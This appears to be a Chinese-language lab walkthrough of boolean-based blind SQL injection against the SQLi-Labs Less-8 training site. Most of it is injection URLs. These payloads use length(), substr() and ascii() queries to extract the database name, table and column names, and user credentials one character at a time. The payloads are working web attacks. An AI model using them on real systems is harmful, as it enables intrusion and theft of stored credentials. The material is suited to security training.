SQL注入-基于布尔的盲注

访问SQLi-Labs网站

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-8。访问的URL为:

http://[靶机IP]/sqli-labs/Less-8/

登录后,根据网页提示,给定一个?id=1的参数,即:

http://[靶机IP]/sqli-labs/Less-8/?id=1

此时页面显示You are in...,显示状态未True。

如果给定一个?id=-1的参数,即:

http://[靶机IP]/sqli-labs/Less-8/?id=-1

此时页面显示为空,显示状态未False。

可以继续给定不同的id参数进行尝试,发现页面的显示结果只有两种:True或False ,由此可以判断,这是一种典型的布尔盲注场景!

寻找注入点

分别用以下3条payload寻找注入点及判断注入点的类型:

http://[靶机IP]/sqli-labs/Less-8/?id=1'

运行后页面显示为False!

 http://[靶机IP]/sqli-labs/Less-8/?id=1' and '1'='1

运行后页面显示为True!

 http://[靶机IP]/sqli-labs/Less-8/?id=1' and '1'='2

运行后页面显示为False!

由上述结果可以判断,网站存在字符型注入点。

盲猜网站当前所在数据库的库名长度 

假设长度为N,尝试使用判断语句length(database())=M,不断变化M的值区猜测,如果M不等于N,页面显示为False;如果M等于N,页面显示为True。

http://[靶机IP]/sqli-labs/Less-8/?id=1' and length(database())=7--+

显示结果为False,说明网站当前所在数据库长度不是7个字符!

http://[靶机IP]/sqli-labs/Less-8/?id=1' and length(database())=8--+

显示结果为True,说明网站当前所在数据库长度是8个字符!

 盲猜网站当前所在数据库的库名符串

通过逐个字母盲猜的方式进行。

假设库名字符串的第一个字母为a,条件判断语句substr(库名字符串,1,1,)='a'以及ascii(substr(库名字符串,1,1))=97返回的结果均应为True(小写字母a的ASCII码为97);

假设库名字符串的第二个字母为b,条件判断语句substr(库名字符串,2,1,)='b'以及ascii(substr(库名字符串,2,1))=98返回的结果均应为True(小写字母b的ASCII码为98);

........

猜测库名的第1个字母;

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))=115--++

猜测库名的第2个字母;

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),2,1)='e'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr(database(),2,1))=101--++

.........

以此类推,最终字符串结果为security。

盲猜数据库security的全部表名

猜测第1张表的表名

猜测第1张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+ 

第1张表的表名的第1个字符为e。

猜测第1张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+ 

第1张表的表名的第2个字符为m。

.....

 以此类推,得到security库中的第1张表的名字为emails。

猜测第2张表的表名

猜测第2张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+ 

第2张表的表名的第1个字符为r。

 

猜测第2张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+ 

第2张表的表名的第2个字符为e。

.....

 以此类推,得到security库中的第2张表的名字为referers。

由上述方式可以通过不断变换limit和substr()函数中的参数,可以最终得到security库中的所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放这网站用户的基本信息。

 盲猜users表的全部字段名

猜测第1个字段名

猜测第1个字段名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and  ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+

第1个字段名的第1个字符为i

 

猜测第1个字段名的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and  ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=100--+

第1个字段名的第1个字符为d

.........

以此类推,得到users表中的第1个字段的名字为id。

由上述方式可以通过不断变换limit和substr()函数中的参数,可以最终得到users表中的所有的字段名:id、username和password。

盲猜users表username和password字段的全部值

猜测第1组数据

猜测第1组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and  ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+

第1组数据的第1个字符为D.

猜测第1组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and  ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117--+

第1组数据的第2个字符为u.

 以此类推,得到第1组数据为“Dump,Dump”。

注意:字符串中的(,)也需要进行猜测比对

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=','--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and  ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44--+

 

猜测第2组数据

猜测第2组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and  ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65--+

 第2组数据的第1个字符为A。

猜测第2组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n'--+

http://[靶机IP]/sqli-labs/Less-8/?id=1' and  ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110--+

 第2组数据的第2个字符为n。

.........

以此类推,得到第2组数据为“Angelina,l-like-you”。

由上述方式可以通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password中的全部字段。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值